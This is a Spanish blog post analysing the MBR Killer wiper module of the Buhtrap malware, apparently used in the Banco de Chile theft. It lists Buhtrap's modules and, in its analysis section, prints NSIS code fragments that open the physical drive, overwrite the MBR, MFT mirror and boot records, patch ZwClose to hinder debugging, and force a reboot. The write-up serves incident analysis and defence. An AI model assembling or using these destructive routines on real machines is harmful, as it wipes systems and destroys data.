Desmenuzando el MBR-Kill que atacó al Banco de Chile

Hace mas menos un mes que el Banco de Chile sufrió el robo de mas de 10 millones de dolares, siendo el robo mas grande que ha tenido el banco en su historia. Este robo partió con un distractor, del cual hablaremos en este post, gracias al análisis realizado por Ian W. Gray de FlashPoint y posterior intrusión a la red Swift  por donde la gente de Lazarus Group, realizo el robo.

Este malware el día D, infectó a mas de 9000 estaciones de trabajo y cerca de 500 servidores dentro del banco por el malware BuhTrap que tiene un modulo llamado MBR Killer que fue distribuido en el mundo underground por el año 2016.

Los analistas de Flashpoint realizaron ingeniería inversa del malware haciendo relación con el ataque del 24 de mayo contra la institución financiera más grande del país, y dijeron que el malware es una versión modificada de un módulo de MBR Killer conocido como kill_os. Las infecciones de MBR Killer hacen que el sistema operativo local y el Registro maestro de arranque no se puedan leer.

Según se podía leer del medio local Pulso, el banco había sufrido un ataque informático desde Asia y que se tomarían acciones legales, para poder encontrar a los responsables del robo.

El ataque en Chile se produce luego de incidentes que afectaron a varios bancos en México que usan su sistema de transferencia interbancaria Sistema de Pagos Electrónicos Interbancarios (SPEI), lo que resulta en pérdidas de aproximadamente $ 15.4 millones de dólares. En enero, Flashpoint tuvo conocimiento de un ataque de malware por separado dirigido a instituciones financieras mexicanas que siguió un patrón similar a los ataques anteriores, con posible atribución al malware de Corea del Norte. Flashpoint no pudo analizar el malware dirigido a las instituciones financieras mexicanas, aunque el FBI asoció el ataque con malware de Corea del Norte. Un informe de El Financiero, una publicación financiera mexicana, tras el incidente de enero identificó el ataque como "FALLCHILL", una herramienta de administración remota norcoreana (RAT) dirigida a organizaciones aeroespaciales, de telecomunicaciones y financieras.

MBRKiller




El código Buhtrap filtrado contiene secuencias de comandos casi idénticas del sistema de instalación de secuencias de comandos de Nullsoft (NSIS) como el malware desempaquetado de Banco de Chile.

En términos generales, el malware Buhtrap es complejo e incluye más de una docena de módulos que brindan a los atacantes la capacidad de instalar más código malicioso, conservar el control remoto de una máquina comprometida y robar credenciales entre otros. Una lista de módulos disponibles sigue:

• "BHO": un módulo diseñado para interceptar y reemplazar páginas en el navegador Internet Explorer.

• "kill_os": un módulo diseñado para borrar el MBR.

• "Loaders": constructores de scripts de NSIS diseñados para instalar malware.

• "Mimimod": una versión modificada del programa "Mimikatz", utilizada para obtener credenciales de usuario en el sistema.

• "ID": un algoritmo para obtener el número único de la máquina infectada.

• "BSShide": un módulo diseñado para ocultar órdenes de pago en Business Support Systems (BSS). Modifica la página que se muestra al usuario. SWIFT es parte del BSS.

• "Antidetekt": un módulo diseñado para detectar entornos virtuales y "sandboxes".

• "UAC": un módulo para eludir la protección del Control de cuentas de usuario (UAC).

• "RDP": modifica el sistema operativo para la posible operación simultánea de varios usuarios en el sistema.

• "VNC": control remoto de PC con reconexión.

• "DLL Side-Loading": se usa para instalar un keylogger y para proporcionar comunicación con el panel de control. Permite la instalación y operación de otros módulos en el sistema.

• "Control Panel": se usa para mantener la visibilidad de las infecciones e instalar módulos adicionales en el host infectado.

• "Builder": un programa diseñado para recolectar módulos troyanos en un archivo ejecutable.

• "MWI": una colección de exploits, parte de la herramienta "Microsoft Word Intruder" que estaba disponible en el mundo underground.

Esta versión de malware en particular venia con un módulo de VMProtect, lo que dificulta la tarea de los análisis forense y realizar ingeniería inversa.


Analisis del Malware 

El malware fue empaquetado con VMProtect/NSIS, y fue ejecutado via System.dll en %TEMP%.

I. Loop pirnicipal de creación de archivo con acceso a la API \\\.\PHYSICALDRIVE0:

Function main_loop_CreateFile
    IntFmt $1 “\\.\PHYSICALDRIVE%D” $0
    Push $0
    StrCpy $0 $1
    System::Call “KERNEL32::CREATEFILE(t, i, i, i, i, i, i) i (‘$0’, ${GENERIC_READ}|${GENERIC_WRITE}, ${FILE_SHARE_READ}|${FILE_SHARE_WRITE}, ${NULL}, ${OPEN_EXISTING}, ${FILE_ATTRIBUTE_NORMAL}, ${NULL}) .r2”
    Pop $0
FunctionEnd

II. Configuración del MBR:

!define
STMBR
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i2) i’

III. Bloqueando el acceso Logico al MBR:

!define
STMBRLBA
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i2) i’

IV. Registro de Boot del volumen NTFS:

!define
STVBR_NTFS
‘(&i3, &i8, &i2, &i1, &i2, &i24, &i8, &i8, &i8, &i4) i’

V. Proceso de Boteo NTFS:

Overwrite MBR
Overwrite Master File Table (MFT) mirror
Overwrite Volume Boot Record (VBR) mirror
Overwrite Extended Boot Record (EBR)

Las siguientes API de sistema son llamadas en el uso de sobreescritura del sistema:

${ForEach} $7 1 ${OVERWRITE_COUNT} + 1
    System::Call “kernel32::SETFILEPOINTER(i, i, *p ,i) i (r2, r4, r3, ${FILE_BEGIN}) .r8”
    ${If} $8 <> -1
System::Call “kernel32::WRITEFILE(i, i, i, p, i) i (r2, r5, r9, r6, ${NULL})”
System::Call “kernel32::FlushFileBuffers(i) i (r2)”
    ${EndIf}

VI. Proceso de Protección de apagado del malware:

System::Call “KERNEL32::GETMODULEHANDLE(t) p (‘ntdll.dll’) .r0”
${If} $0 <> ${NULL}
    System::Call “KERNEL32::GETPROCADDRESS(p, t) p (r0, ‘ZwClose’) .r1”
    ${If} $1 <> ${NULL}
System::Call “KERNEL32::VIRTUALPROTECT(p, i, i, *i) i (r1, 6, ${PAGE_EXECUTE_READWRITE}, .r2) .r0”
${If} $0 <> 0
    System::Alloc 6
    pop $3
    System::Call “NTDLL::MEMCPY(p, p ,i) i (r3, r1, 6)”
    System::Call “NTDLL::MEMCPY(p, t, i) i (r1, t ‘1′, 6)”
    System::Call “KERNEL32::CLOSEHANDLE(i) i (0x12345678) .r4”
    System::Call “NTDLL::MEMCPY(p, p, i) i (r1, r3, 6)”
    System::Free $3

VII. Instrucción de Apagado del Sistema:

ExitWindowsEx_EWX_REBOOT_
    Push $1
    StrCpy $1 ${EWX_REBOOT}|${EWX_FORCE}
    System::Call “USER32::EXITWINDOWSEX(i, i) i ($1, ${SHTDN_REASON_MAJOR_SOFTWARE}|${SHTDN_REASON_MINOR_UPGRADE}) i .r0”
    Pop $1
FunctionEnd


IOCS --> https://www.flashpoint-intel.com/wp-content/uploads/2018/06/misp.MBR_killer_IOCs.csv